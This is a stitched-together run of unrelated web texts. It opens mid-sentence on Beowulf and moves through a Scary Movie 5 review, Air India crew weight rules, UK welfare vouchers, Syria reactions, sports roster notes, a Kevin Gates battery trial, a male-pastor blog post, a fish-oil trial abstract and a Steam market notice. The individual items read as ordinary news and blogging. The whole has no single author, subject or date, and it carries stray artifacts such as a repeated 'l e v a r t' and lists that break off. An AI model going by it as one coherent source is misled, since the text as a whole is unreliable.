changed: as with Beowulf, death comes to us all. It is an engagement none of us can avoid. And when death arrives your wealth, your reputation, and (of course) your life cannot go with you. What you have not spent will be accounted to you as waste. Therefore learn to spend your life, your wealth, and your reputation rightly, in the now. Make a study of selflessness and right living. Learn from the ancients how to be a man. Read Beowulf.
-Pulling a rabbit out of a hat, or tricks of a similar ilk, may have dazzled generations of children.  But the future of live magic could be under threat, thanks to the rise of the YouTube magician.  The rising popularity of online videos is leading to a loss of key skills which could damage the very existence of live magic in years to come, a leading Magic Circle member has warned.  Jamie Raven, who belongs to the prestigious inner magic circle, said amateur magicians are increasingly learning their trade behind the camera, perfecting one trick on film to post for "likes".  But while YouTube and social media may spark an interest in magic, he warned essential skills such as interacting with real people to control or misdirect their attention are being lost.  If the current obsession for online profile continues, he said, in generations to come "there will be no magic shows, there will be no live interaction".
-Simon Rex and Ashley Tisdale star in the latest and worst addition to the “Scary Movie” franchise. (Photo by Quantrell D.Colbert)  “Scary Movie 5” must be some kind of psychological experiment. Perhaps the filmmakers sat in a lab, rubbing their temples while wondering aloud how awful they could make a movie and still score at the box office.  It’s the only reasonable explanation for this lazy, boring, vile and tragically unfunny attempt at a horror-film spoof that is sure to kill brain cells and may signal the impending apocalypse. It’s the kind of movie that leaves audience members partially lobotomized, exiting the theater and muttering absently to themselves, “How on earth did this movie get made?”  The answer: cheaply. Each of the increasingly terrible “Scary Movie” installments has enjoyed an impressive return on investment, so it’s only logical that producers want to keep making them, quite literally, ad nauseam. The cost-cutting is evident, between the not-so-special effects and the amateur editing errors, including a casual relationship between dialogue and moving mouths.  Thirteen years after the first “Scary Movie,” this new chapter follows the same general template, with one exception: This incarnation kicks off with Charlie Sheen and Lindsay Lohan, playing themselves, preparing to make a sex tape.  From there, the story skips to couple Dan (Simon Rex) and Jody (Ashley Tisdale), who inherit a trio of youngsters after the demise of the kids’ dad (Sheen). What follows shouldn’t be confused with a plot; it’s more a series of snippets in which the characters borrow familiar story lines from other movies, including “Mama,” “Inception,” “Black Swan” and “Rise of the Planet of the Apes.”  But “Scary Movie” doesn’t really put any kind of twist on these familiar plots, so much as present them in some brainless context. But stupid doesn’t necessarily equate to funny, and that goes for Heather Locklear, dressed as a pregnant ballerina whose water breaks all over a male dancer’s face as he lifts her above his head.  The movie is so appalling that even a film fan who guffawed her way through “The Aristocrats” would feel nothing but a deep emptiness as the end credits begin to roll, wondering if one solid joke was too much to ask from a movie that bills itself as comedy.  But no, there’s nothing worthy of even a small smirk. Instead, the movie serves up violence against man, woman, child, doll and ape, not to mention sexual situations involving a German shepherd, a hairy, overweight nanny, Santa Claus, an automatic swimming pool cleaner, a pony and a microwave. A knock-knock joke told by a 6-year-old would be funnier than this endless stream of flatulence jokes, feces-infused food items and gratuitous vomiting.  For some reason, watching this movie kept conjuring up the voice of Smokey Bear intoning “Only YOU can prevent forest fires.” It must be a sign from beyond that we — the film-going public — have the power to end this. As long as people keep watching these inept films, the “Scary Movie” franchise will thrive and reproduce. And that is a truly terrifying prospect.  No stars  PG-13. At area theaters. Contains crude language, brief nudity, sexual situations, allusions to drug use and gory, if obviously fake, violence. 85 minutes.
-New Delhi (CNN) — Air India, a debt-burdened, state-run carrier, is trying to shed some extra flab.  The airline has asked 125 of its flight attendants to lose a few pounds or get ready for an airport job.  l e v a r t  "It is an opportunity for them to bring themselves back to the (required) fitness level. If they cannot because of any medical reasons, they will be offered ground duties," Air India spokesman G.P. Rao told CNN Tuesday.  The decision follows fitness guidelines laid out by India's civil aviation regulator.  Last year, the regulator mandated a body mass index (BMI) of 18-25 for male cabin crew members and 18-22 for female cabin crew members. Men with a BMI of 25-29.99, and women with a BMI of 22-27, were classified as overweight.  'Safety issue'  Some say the index, which is determined by a person's height-to-weight ratio, is not always an accurate indicator of someone's health and body fat percentage.  But the airline insists the move to manage its employees' physique is not about appearances.  "It's a safety issue," Rao said. "The crew has to be fit to be able to carry out their inflight duties, including emergencies."  Rao, however, didn't say how much time the shortlisted 125-odd crew would have to slim down.  He added this is not the first time Air India has advised its flight attendants to stay "fit."  l e v a r t  "This is an ongoing process. We have been doing this exercise for quite some time," he said.  Air India currently employs more than 3,000 cabin crew members. According to a Times of India report , a "large number" of the employees refused to undergo medical examinations for their BMI as ordered by the company back in 2013. Instead, they asked the airline to first pay for gym memberships before conducting any lab tests, the report said.
-The NHL won’t play in an outdoor game in California this year. But you can still get your AHL hockey fix on the West Coast.  The league announced it will play an outdoor game at Raley Field (a baseball stadium) in West Sacramento, Calif. The contest will include the Bakersfield Condors and the Stockton Heat. The Condors are the Edmonton Oilers’ newly affiliated AHL team. The Heat are with the Flames. The game will take place on Dec. 18.  In case you were wondering, the average high in Sacramento in December is 54 degrees. The average low is 38 degrees. Perfect weather for hockey, eh?  Scroll to continue with content Ad  [Yahoo Sports Fantasy Hockey: Sign up and join a league today!]  The event will just be one part of the “Biggest Show on Snow” which is a six-week “holiday extravaganza” at Raley Field.  This will be the eighth outdoor game in AHL history according to the release. The last one was at Comerica Park in Detroit on Dec. 30, 2013 as part of the Winter Classic.  Also, there will apparently be something called a “Monster Ice Slide” which sounds amazing. This reminds me of the brown snow slide at the Columbus All-Star Game, which we here at Puck Daddy may or may not have tested.  - - - - - - -  Josh Cooper is an editor for Puck Daddy on Yahoo Sports. Have a tip? Email him at puckdaddyblog@yahoo.com or follow him on Twitter!  MORE FROM YAHOO SPORTS
-Introduction  Specifications  Lian Li DK-02X CASE TYPE: Mid-Tower MATERIAL: Aluminum & Tempered Glas WEIGHT: 45kg SLOTS: System 1: 2  System 2: 8 DRIVE BAYS: 1x External Slim ODD x1 or Internal 2.5" HDD x1"  System 1: 8x Internal 2.5/3.5"  System 2: 9x Internal 2.5/3.5" MOTHERBOARD  FORM FACTORS: System 1: Mini-ITX  System 2: Micro-ATX, ATX. XL-ATX, E-ATX, HPTX DIMENSIONS (WxHxD): 1250 x 805/835 x 600 mm  Keyboard tray: 1150 x 50 x 240 mm FRONT DOOR/COVER: N/A FRONT FANS: 120mm x 4 REAR FANS: 120mm x 2 (pre-installed) TOP FANS: N/A BOTTOM FANS: N/A SIDE FANS: 120mm Fan x 3 on each side (included) I/O for each System: 3x USB 3.0  1x Headphone  1x Microphone FAN/LED Controller: N/A Compatibility System 1: CPU Cooler: 175mm  GPU: 300mm  PSU: 160mm Compatibility System 1: CPU Cooler: 175mm  GPU: 400mm  PSU: 400mm  I would like to thank Lian-Li for supplying the review sample.Lian Li is known for making some very elaborate aluminum cases, and the company has also offered actual work desks made of the material in the past. But those were large, not very fashionable, and geared toward those who wanted something fancy in their office. The DK range of enclosures come in different sizes and offers a cleaner, simpler look that works in an office, or as a reception desk in a more public surrounding. While we have reviewed fairly traditional Lian Li enclosures in the past, the DK-02X represents an extreme departure into what could be done while still offering some viable functionality.The "X" in the "DK-02X", like all of Lian Li's cases signifies that the chassis is anodized black inside and out. As of now the DK-02X and the DK-02 are the same case. This might change if Lian Li comes out with a silver version (which would be named DK-02A), but there are no plans for this at this time.
-"Food stamps" arrive in Britain next month, when tens of thousands of vulnerable people will be issued with food vouchers in lieu of money to tide them over short-term financial crises.  Rather than, as now, offering a cash loan, most councils will from April offer new applicants who qualify for emergency assistance a one-off voucher redeemable for goods such as food and nappies.  Many of the 150 local authorities in England running welfare schemes have confirmed that they will issue the vouchers in the form of payment cards, which will be blocked or monitored to prevent the holder using them for alcohol, cigarettes or gambling.  Several plan to issue charity food parcels to people applying for crisis help, and are preparing to give cash grants to food banks to enable them to take on full-time staff and increase opening hours.  Each authority has drawn up eligibility rules, setting out who will qualify for crisis help and the conditions under which it will be given. One plans to make emergency help conditional on good behaviour.  The shift to in-kind and voluntary assistance follows the decision last year to abolish the government-run social fund and to replace it with more than 150 welfare assistance schemes, operated by English local authorities and the Welsh and Scottish governments.  The social fund – known as the "backstop" of the welfare system – typically offered small loans of about £50, repayable against future benefits, to help vulnerable individuals who faced short-term crises as a result of having cash stolen or benefits delayed.  A separate set of cash grants, typically worth about £1,000, was made to people with a disability, ex-prisoners and victims of domestic violence, to enable them to buy or replace items that would help them live independently, such as beds, clothing and kitchen utensils.  Although social fund spending represents a relatively tiny chunk of the social security bill, there is concern that the new arrangements will for the first time build into mainstream welfare provision the distribution of food voluntarily donated by the public, schools and businesses.  Lady Lister, a Labour peer and poverty expert, said the shift from cash loans to in-kind help would leave the most vulnerable people "high and dry".  "The social fund was a safety net under the safety net," Lister said. "I do not call putting money into food banks a safety net."  Some fear the use of in-kind vouchers will repeat the shortcomings of cashless payment cards, issued to asylum seekers. Critics said these cards left users unable to buy essential non-food items, and made them more likely to turn to risky or criminal ways of obtaining cash.  One welfare charity worker said: "There's a lot of naivety. The social fund is big, and meets a whole range of needs. There's going to be an awful lot of people that will need to tap into its successor."  But councils say huge reductions, in some cases cuts of up to a third, in the amount allocated to support people in hardship have left them with no option but to offer vouchers, refer applicants to food banks and secondhand furniture projects, and to drastically tighten eligibility. The government spent £230m on the social fund in 2009-10 but has allocated £178m to local authorities for 2013-14.  Inquiries by the Guardian found that:  • Conservative-run Hampshire council plans to invest a big chunk of its welfare fund allocation in charities and food banks. Over time, it hopes to stop offering food vouchers as part of a shift towards "reducing the entitlement culture".  • Labour-run Manchester city council will offer successful applicants low-interest loans of up to £200 a year, with a credit union, rather than food vouchers. It says in future years grants for furniture and cooking utensils will be offered on condition that recipients sign up to "expected behaviours and actions".  • Bristol city council's crisis fund restricts emergency payments to food, heating, nappies and toiletries. It says the cards "should not be used for cigarettes, alcohol or entertainment", and if misuse occurs it will seek repayment.  • Labour-controlled Darlington council plans to invest £58,000 in a church food bank, including £30,000 to enable the charity to take on a full-time worker.  From April, thousands of applicants who now have access to crisis help will be turned down under the schemes. Many councils plan to refer the expected rising numbers of unsuccessful applicants to soup kitchens and other charities.  Alison Garnham, chief executive of the Child Poverty Action Group, said: "Local authorities have been given a difficult task, to deliver support on a reduced budget at a time of rising need.  "But we are seriously concerned that some authorities will not be providing any access to cash to families to meet their essential needs, and may be offering support in a way that serves to stigmatise those who need it."  Others have warned that people who are turned down for crisis help will turn to crime, begging or loan sharks. Almost all authorities are bracing themselves for an expected rise in demand for crisis support from April, when the bulk of the benefit reforms, aimed at saving £18bn, are introduced. Among these is the so-called bedroom tax.  There is also nervousness that any glitches in universal credit, from October, will see an increase in poorer households seeking help from welfare schemes.  The government, and some charities, have argued that the existing system of crisis loans was abused by people – often young men – who did not use the loans for genuine emergencies. They argue the new system will discourage dependency, more efficiently directing scarce resources at the people who most need them.  The Guardian also found that:  • The cost of administering each of the 150-plus new welfare assistance schemes is typically equivalent to around 20% of the value of the entire local fund. Several authorities, including the Welsh government, have outsourced the running of the voucher schemes to private contractors.  • Local authorities are worried that the new patchwork of welfare assistance systems will lead to a postcode lottery, with vulnerable people moving to apply for crisis help in more "generous" boroughs.  • There are concerns that some welfare systems will not be ready by 1 April. The Furniture Re-use Network said a survey showed two-thirds of its members believed the new system would not be in place in time. There are concerns that, despite huge growth in the numbers of food banks in the past two years, many parts of the country will have little charity food assistance capacity.
-As the Braves prepare to enter the Division Series, I want to return to two controversial incidents at the end of their regular season, when they embroiled themselves in two separate incidents when a batter admired his home run for far too long. First it was Jose Fernandez, the inspiring and amazing Rookie of the Year candidate, hitting his first home run in the majors; then it was Carlos Gomez, taking revenge for what he perceived to have been an intentional hit by pitch three months earlier. In both cases, Brian McCann got rather peeved. (He also got memed.)  So, here’s what happened, as explained by Jason Turbow on his Baseball Codes blog. (I quote him every time I write about unwritten rules, because he breaks everything down from the perspective of unwritten rules violations.)  September 11:  Bottom of the sixth: Fernandez blasts a nearly 400-foot drive off Braves left-hander Mike Minor for his first career homer, flips his bat away and—ostensibly in response to Gattis—stands to admire it. This is not an innocent would-be slugger in awe of his own unexpected power; the move is intended to disrespect the Braves, who take it precisely that way.  As Fernandez crossed the plate, Brian McCann got in his face and yelled at him.  September 25:  Carlos Gomez, the game’s second batter, homered against Paul Maholm Wednesday, then lingered in the batter’s box. Once he began to trot, his churn rate increased with every step; he shouted with increasing fervor at first baseman Freddie Freeman and Maholm even before reaching third.  Watching this, McCann decided to unload a few of his own notions on Gomez, and made sure that his message could not be ignored. The catcher planted himself about 15 feet up the third base line, completely blocking Gomez’s path to the plate. The runner would not pass without first getting an earful.  As it turned out, he would not pass at all. McCann shouted him down without ceding the baseline, players from both teams stormed the field, Reed Johnson landed a punch to Gomez’s noggin, and the ensuing scrum carried everybody to the backstop. Gomez was ejected shortly thereafter, and left the field without ever touching the plate.  I’m always interested in unwritten rules and the seemingly irrational ways that baseball players enforce them. In this case, Brian McCann and the Braves took a fairly uncontroversial one: you’re not supposed to spend too long admiring your own home runs — “pimping” them — because that is disrespectful to the other team. But the Braves’ angry reactions caused them to lose both moral arguments in the court of public opinion.  Jonah Keri called the Fernandez brouhaha “just another case of baseball players taking themselves and their ridiculous unwritten rules way too seriously,” and the Gomez incident led to multiple articles where a yelling Brian McCann was photoshopped into other historical events, as Mike Bates writes, “to tell them to tone it down and cut the fun short.” Emma Span pithily summed up the Braves in a playoff flowchart: “The slightest perceived slight will be met with a benches-clearing brawl.”  That said, both of the players accosted by McCann apologized. Fernandez said, “I feel like I don’t deserve to be here, because this isn’t high school. This is a professional game. I made a mistake. I’m going to learn from it… I embarrassed a lot of people. It’s just not right for the game. For sure I can promise 120 percent that that will never ever happen again. I won’t show anybody up like that.”  And Gomez tweeted this:  The way I carried myself on the field is unacceptable, I should have done better to control myself and set a good example. — Carlos Gomez (@C_Gomez27) September 26, 2013  So there appears to be a disconnect: there is a popular viewpoint that the Braves and McCann are in the wrong, while Fernandez and Gomez appear to believe that they were in the wrong. The easy answer could be because they were all in the wrong and that two wrongs don’t make a right. But it is curious to note that Gomez got suspended for his actions, while McCann only got fined. Here is what is likelier: while people outside of baseball think all of these unwritten rules are ridiculous, people in baseball agreed with the Braves.  In baseball, what Fernandez and Gomez did was unambiguously wrong. You don’t show up the other team, ever, for any reason. Meanwhile, while McCann’s actions may have been over the top, his intentions were laudable: he was sticking up for his teammates, which in baseball is unambiguously good. Standing in the baseline may have caused a bench-clearing scene, but Brian McCann didn’t do it for the fans, he did it to stand up for Maholm. Defending your buddy’s honor may be old-fashioned and dumb, but that’s what baseball players are.  As Michael Wex once wrote, referring to the Yiddish practice of referring to one’s wife as “tsiherste,” meaning “Do you hear me?”:
-OTTAWA – Canada should support the United States in whatever action it decides to take in Syria, former Liberal prime minister Paul Martin says.  In an interview with Global News, Martin said Canada should be working the phones to convince other allies to support the United States “and the actions they will take.”  “The American president [Barack Obama] drew a red line and said if chemical weapons were used, that he and others would act. That red line has been crossed,” said Martin.  Martin, who in 2005 helped implement the “responsibility to protect” doctrine for UN member states to protect citizens whose governments aren’t guarding them from atrocities, says it clearly applies in today’s Syria situation.  “The purpose of responsibility to protect is to say that other countries have a responsibility to act when a country oppresses its own people, and there can be fewer, greater acts of oppression, than when you use a weapon of mass destruction against your people,” he said.  Western governments believe the Syrian regime launched a chemical attack against its own people, reportedly killing 355 and injuring 3,600 – a claim Syria’s UN ambassador denies.  On Wednesday, Foreign Affairs Minister John Baird met with George Sabra, president of the opposition group Syrian National Council.  Following the meeting in Montreal, Baird said Canada does not have the weapons to contribute to the types of strikes being referred to in news reports – such as by armed drones and cruise missiles.  But he said Canada is discussing with allies about how to deal with the Assad regime and will continue to co-operate with them.  Baird added the government has pledged $42.8 million in humanitarian assistance to go towards emergency food assistance, shelter and sanitation.  Liberal leader Justin Trudeau said Wednesday Parliament should be recalled to discuss what role Canada should play in Syria, but he has previously expressed reservations about military intervention.  NDP leader Tom Mulcair also said Parliament should be reconvened, and he called it a “tragedy” that Canada does not have a seat on the Security Council.  “It’s a tragedy that Canada’s voice won’t be heard because we were never able to get a seat at the UN,” he said.  The Conservatives have said it is “premature” to discuss recalling Parliament at this time.  Martin said while it’s preferable to get the blessing of the UN Security Council, it’s clear that Russia will not endorse action in Syria.  He said the actions made during the Kosovo War in 1999, in which the security council refused to act but NATO intervened, “were exactly the right ones.”  “It’s preferable to obviously get the endorsement by the UN Security Council. It’s been very clear by the actions of the Russians that we’re not going to get it in this particular case, and I think the precedent that NATO and Kosovo (set) a number of years ago is the one that we should follow,” he said.  Martin said the real justification for responsibility to protect is endorsement by the allies. He said the U.K. and France have shown support, but the Germans are not as clear.  “In other words if the United States were to act, because they’re the ones who’ve got the capacity, the missiles to act, and they’ve got the vessels close by, then what the United States will require is the support of their allies,” he said.  “Canada has got to play a role in bringing the allies on side.”  – with files from the Canadian Press
-DETROIT -- The Detroit Red Wings have recalled forward Cory Emmerton from the Grand Rapids Griffins. He will make his NHL debut today against the Chicago Blackhawks at Joe Louis Arena (2 p.m., FSD).  Center Valtteri Filppula is out with the flu.  Emmerton, 22, was Detroit's first choice (41st overall) in the 2006 entry draft. He ranks among Griffins leaders with 17 assists (third) and 23 points (tied for fifth) in 33 games, despite missing 12 games due to injury in December.  Filppula should be ready for the next game, Wednesday at home against New Jersey. For now, he's added to a long list of idled Red Wings: Mike Modano (lacerated wrist), Pavel Datsyuk (broken hand), Danny Cleary (broken ankle), Brad Stuart (broken jaw), Chris Osgood (hernia surgery) and Tomas Holmstrom (broken hand).
-Duck feathers covered a major road in Cambridgeshire, bringing traffic to a standstill, after a fire in a lorry.  A ruptured diesel tank caused the fire in the lorry, which was carrying the duck feathers on the A14 near Hemingford Grey.  The westbound carriageway of the road was shut after being covered in the white feathers and a rolling roadblock was in place eastbound.  Diversions are in place but motorists are advised to avoid the area.  Eddie Theaker, from Cambridgeshire Fire and Rescue Service, said: "This was a potentially dangerous incident as the lorry's diesel tank had ruptured and the fire was extensive.  "Although the fire is out, the westbound carriageway has a lot of debris still on it caused by the feathers and all agencies are working hard to ensure that it is cleared as soon as possible."
-Saudi Arabia has accused the Syrian government of waging "genocide" against rebels and criticised Iran and Hezbollah for backing and arming the regime.  Speaking at a news conference with US Secretary of State John Kerry in Jeddah, Saudi Foreign Minister Prince Saud al-Faisal Saud has said Syria is facing a "double-edged attack".  "(It) is facing a massive flow of weapons to aid and abet that invasion and that genocide. This must end." he said.  Prince Saud also attacked Iranian involvement in the war-torn country and described Tehran's backing foreign militias as "the most dangerous development".  He also repeated Saudi Arabia's call for the rebels to be armed.  Saudi Arabia, a Sunni state which views Shia Iran as its arch-rival, has increased aid to Syrian rebels in recent months, supplying anti-aircraft missiles among other weapons.  At a meeting in the Qataris capital, Doha, on Saturday, ministers from 11 nations in the "Friends of Syria" group agreed "to provide urgently all the necessary material and equipment to the opposition on the ground".  Syrian regime called its neighbours to stop arming rebels battling to overthrow Bashar al-Assad and said a decision by Western and Arab countries on Saturday to arm those rebels would prolong the crisis and deepen the bloodshed.  More than 93,000 people have been killed in Syria since peaceful protests erupted in March 2011. Assad's violent response helped provoke what is now a civil war that has driven nearly 1.7 million refugees into neighbouring countries.
-Kevin Gates was found guilty to battery in Polk County, Florida, on Wednesday (Oct. 26) after he was seen kicking a female fan during a concert in the city of Lakeland last year.  The judge sentenced Gates to 180 days in Polk County jail, with credit for any time served, and fines and court costs, WFLA reports. He was convicted by a jury of six women after one day of testimony.  Miranda Dixon, 18, admitted to having tugged on Gates' pants during the concert at Rumor's Nite Club on Aug. 28, 2015. She said during the trail, "I was trying to get his attention for my friend."  Dixon's friend Teremal Redding testified as well, saying she had asked Dixon to grab Gates to get his attention "because he is a famous rapper." She said that the entire front row had been grabbing at Gates and that the first time Dixon grabbed him, he kept performing, but the second time he got violent, kicking her with force.  Gates' defense attorney Jose Baez cross-examined Redding about Dixon's injuries, pointing out that Redding had stayed for the rest of the show after her friend left following the incident.  In a previous hearing, Gates admitted to kicking a fan during the show and used the Florida's "Stand Your Ground" law in attempt to have the charges dropped.  "I kicked them, I wanted them off me," he said during the previous hearing.  Rumor's Nightclub head of security Joe Hailey testified during the trial that Gates' security team had not made any special requests for additional security or any barricade between the stage and the crowd for the concert. He said there were about 20 security guards working that night and that there was room for Gates to back up on stage if he did not want to be touched.
-Thanks to its adorable chubby cheeks and silly dashing gait, a wild European hamster has stolen the show at the 2015 Comedy Wildlife Photography Awards or CWPA. The humorous photo titled "Rush Hour" nabbed top honors in the inaugural competition.  Distinguished for its lighthearted focus on the giggle-inducing, serendipitous side of wildlife photography, the photo contest aims to highlight technically excellent images that showcase "the funny side of the majestic creatures we love to photograph and protect."  CWPA founder Paul Joynson-Hicks was inspired to establish the contest through his own experience as a wildlife photographer. As he explains on the competition's website, "I often enter wildlife photography competitions (so far with very little success!), but I love seeing the funny pictures. Strangely enough, they are harder to come by than you might think."  Julian Rad, the Austrian photographer responsible for the winning hamster image, was awarded with an impressive array of prizes, including a trophy, a Nikon D750 camera and a seven-day guided photo safari trip to Tanzania. Meanwhile, the photographers responsible for the silver and bronze award-winning images (below) were awarded some enviable Nikon camera equipment.
-The ACLU has intervened in the case of a lesbian high school student in Alabama whose principal has forbid her from attending prom with her girlfriend:  "Cynthia Stewart, a 17-year-old junior at Tharptown High School in  northern Alabama, is a member of her school’s prom planning committee,  had personally raised over $200 for the prom, and created the theme her  classmates had chosen for the dance. She is also an out lesbian. When Cynthia approached her principal to ask if she could bring her  girlfriend with her to the prom, he said no. He also made Cynthia  remove a sticker she was wearing that said, 'I am a lesbian,' telling  her, “'You don't have that much freedom of speech at school.' Cynthia’s  aunt and guardian, Kathy Baker, then appealed the principal’s decision  to the school board. But the board let the decision to bar Cynthia  from bringing her girlfriend to the prom stand."  The school has apparently threatened to cancel the prom for everyone should Stewart bring her girlfriend.  UPDATE: School reconsidering request!
-A few days ago I wrote about the issue of women in ministry. While I don’t think I have ever hidden my views on the topic (I married a female colleague, after all), I also have never written about it on the various blogs I have maintained over the last few years. And maybe recently, I didn’t see it as my place to comment on women in ministry. I am still not sure… I don’t see it as my place to comment on anyone’s “right” or “place” to be a pastor. If anything, I think it is my place to talk about my experience of being a Lutheran pastor or a millennial pastor or a Canadian pastor. It is also to my place to talk about being a male pastor.  So let’s talk about that.  Being a male pastor is kind of like Louis C.K.’s description of “Being White”. (Warning: The video contains offensive language).  Like Louis C.K. says, male pastors aren’t better. But being a male pastor is clearly better.  Like all the advantages of being white and male in North America, there are advantages when it comes to being an ordained pastor. Here are some of the obvious ones:  No one ever defines my ministry by my gender. No one says, “wow a male pastor or a man in ministry, good for you.” I always get to be just a pastor. I don’t have to constantly live with a qualifier in front of “pastor”, and I am not forced to bear someone’s inappropriate shock that I am my gender and I am a pastor. People expect me to be direct and tell them what I think. They want me to lead them somewhere. I am rarely challenged or expected to defend or make a case for my ideas. I don’t have to apologize for having strong opinions or constantly defend my ideas. People think twice about fighting with me. I always have a leg up in conflict, bullies find it harder to push my buttons because I have fewer to push. I am never automatically second class because of my gender, so conflict is on equal terms or tipped in my favour. I don’t have to suffer being called “boy” or “son” as way of dismissing my point of view, and I am not accused of being divisive if I disagree with something or anything. People are used to pastors of my gender. There are no congregations that are unsure of male candidates for ministry, no parishioners who think it is alright to say something like, “I will never be buried by a man.” I don’t have to endure questions about whether I will take paternity leave, or what will happen when I have kids. People almost never assume that I have a particular gift for ministry before they know me. They don’t automatically think that my gender is suited to particular areas of ministry like preaching or administration. No one assumes that I am not good at pastoral care or being nurturing. People don’t say that I have the gift of speaking with a voice that men can relate to. I don’t have to worry about my safety. I don’t think twice about being alone in the church or if I am safe on my own. If a man asks to meet with me one on one, I don’t have to question my physical safety or his motives. Men don’t try to share the peace with me by hugging me (or grabbing my ass). No one assumes that I am the church secretary or the pastor’s spouse. I am never told, “You don’t look like a pastor or you are took young to be a pastor” even thought I am built like a football player and at times have had long hair and a beard like a hell’s angel. And I have a tattoo. And I am 30 (two decades younger than the average age of pastors in our denomination). Churches are built for men. Pulpits, altars, pastor chairs, vestments are all designed my size and body type in mind. I don’t look ridiculous because the standard garb of my profession is made for my gender, and I don’t look like a cross dresser in a clergy shirt. All the pronouns are for my gender. God is a he. Jesus is a he. Pastors are almost always referred to as he or him or his. I don’t have to correct people because they never use the wrong pronoun to refer to me. Being male is the norm in the church. I didn’t have to take classes in seminary about men’s issues, there is no post-modern male theology, male pastors where never brought in to speak about being male pastors as if it was special or odd or a novelty. I could join the Old Boys Club if I wanted to. Leadership in the church is still overwhelmingly male, and there are no glass ceilings for male pastors in the church. No one pretends it is, “all in good fun” to make sexist jokes about my gender, and none of my colleagues treats me like I am second class because of my gender. I don’t have to walk on egg shells in ecumenical situations. I don’t have to justify my position and call to my conservative colleagues, because they all have male pastors in their denominations. I am not an oddity or the token male at ministerial events.  All the advantages of being a male pastor are only advantages because women suffer the opposite. So many of my colleagues have to contend with these annoyances, insults, and frustrations each day because they are the reality of life in the church. This fact makes me very angry. I pray for the day when these will not be male-pastor advantages, but the reality for all pastors, regardless of gender.  *** Special thanks to my wife, Courtenay, for helping me write this post, since she knows much more about the struggles women in ministry face than I do. You can follow her on twitter @ReedmanParker ***  Read a Christmas Post here:  I am at War with Christmas  See some more posts:  Putting My Jesus Feminism to the Test  10 More Reasons Why Male Pastors are Better,  So what do you think? Are these true? Are there more advantages to being a male pastor? Share in the comments.  Follow me on Twitter: @ParkerErik  Advertisements
-Intake of fish oil reduces the risk of CHD and CHD deaths. Marine n-3 fatty acids (FA) are susceptible to oxidation, but to our knowledge, the health effects of intake of oxidised fish oil have not previously been investigated in human subjects. The aim of the present study was to investigate markers of oxidative stress, lipid peroxidation and inflammation, and the level of plasma n-3 FA after intake of oxidised fish oil. In a double-blinded randomised controlled study, healthy subjects (aged 18-50 years, n 54) were assigned into one of three groups receiving capsules containing either 8 g/d of fish oil (1.6 g/d EPA+DHA; n 17), 8 g/d of oxidised fish oil (1.6 g/d EPA+DHA; n 18) or 8 g/d of high-oleic sunflower oil (n 19). Fasting blood and morning spot urine samples were collected at weeks 0, 3 and 7. No significant changes between the different groups were observed with regard to urinary 8-iso-PGF2α; plasma levels of 4-hydroxy-2-hexenal, 4-hydroxy-2-nonenal and α-tocopherol; serum high sensitive C-reactive protein; or activity of antioxidant enzymes in erythrocytes. A significant increase in plasma level of EPA+DHA was observed in both fish oil groups, but no significant difference was observed between the fish oil groups. No changes in a variety of in vivo markers of oxidative stress, lipid peroxidation or inflammation were observed after daily intake of oxidised fish oil for 3 or 7 weeks, indicating that intake of oxidised fish oil may not have unfavourable short-term effects in healthy human subjects.  TRIAL REGISTRATION:  ClinicalTrials.gov NCT01034423.
-[PSA] Removed Games Cards Becoming "Not Marketable"  Community items for "banned" games are now unmarketable (self.Steam)  submitted 22 hours ago by Tasty_Salamanders  About 2 days ago community items (trading cards, emoticons, backgrounds) for games removed from Steam by Valve, for things such as fake reviews, were made unmarketable. All listed items on the market were cancelled and returned to the inventories to their owners, the market pages for the items still exist but they are now useless.  The items still remain tradable.  Games removed by the devs themselves are uneffected. i.e. Football Manager 2013 items are still marketable while something like Lemurzin items are not.  [steam-tracker.com]  Looks like Valve is finally cracking down on the profit loophole for some games. Games that have been removed from Steam are now seeing their cards, emoticons, boosters, and backgrounds labeled as "Not Marketable".According to official postings on r/Steam , only games removed from the store due to violations will be affected.The following games's items have been confirmed to be delisted from the Steam Community Market. While not marketable, items associated with these games remain tradable.
-Matt Finn is your reigning OHL Defenseman of the month.  With Finn, the points never quite tell the whole story, but for the sake of a ‘once upon a time,’ the captain of the Storm has registered 18 points in 18 games to start the year, putting him fourth in OHL scoring among defensemen. Add to this the news that Finn has been named to Team Canada in the upcoming Subway Super Series, and that he’s led Guelph to the best record in the OHL to start the season, and it’s been a great start for the 19-year old defenseman.  Finn continues to play in all situations with the Storm and at the OHL level he excels at everything. His skating is strong, his shot is heavy, and he makes smart plays with and without the puck. The only real weakness in his game, if there is one, is that he doesn’t play a particularly physical game. Finn is a legitimate candidate for this year’s World Junior team and he looks like he’ll be more than ready to make an impact with the Marlies this time next year.  Connor Brown is still leading the OHL scoring race and Verhaeghe, despite a somewhat less productive two weeks (though he did have a hattrick…), remains in 7th.  2013 first round pick Frederik Gauthier picked up 3 points in 2 games this weekend and is now registering a point per game after a slow statistical start to the season. I haven’t seen him play yet this year so I’ll defer to a good twitter-follow Tobias Drundridge: “my only complaint is that he doesn’t seem to have any confidence in his shot. Always dishing. Other than that I like what I see.”  Have a good Remembrance Day, everyone.  Maple Leafs Prospect Statistics - 2013-14 Season  Last Update: Tuesday, May 27.
-CHICAGO, Ill. (Friday, Dec. 13, 2013) – The Chicago Fire Soccer Club announced Friday that the club has acquired defender/midfielder Lovel Palmer from 2013 MLS Cup finalists Real Salt Lake in exchange for allocation money. Per MLS and team policy, terms of the deal were not disclosed.  “We’re pleased to welcome Lovel to the Fire,” said Fire Head Coach and Director of Soccer Frank Yallop. “He is a versatile, experienced player who will be instrumental in building a deep squad to compete in 2014.”  Palmer joins the Fire after one season with Real Salt Lake. Selected in Stage 2 of the MLS Re-Entry Draft on Dec. 14, 2012, Palmer made 17 appearances and tallied one assist in regular season play, and made three post-season appearances as RSL reached the 2013 MLS Cup.  The Mandeville, Jamaica product began his professional career with Jamaican First Division side Harbour View FC in 1999, appearing in 143 matches. Palmer joined MLS in March 2010 when he was signed by the Houston Dynamo. In one-and-a-half seasons with the Dynamo, Palmer scored three goals and tallied one assist across 45 appearances. On July 21, 2011, Palmer was traded to the Portland Timbers where he would appear 34 times and tally one assist.  A Jamaican youth international, Palmer made his senior national team debut in 2005 and has since earned 24 caps.
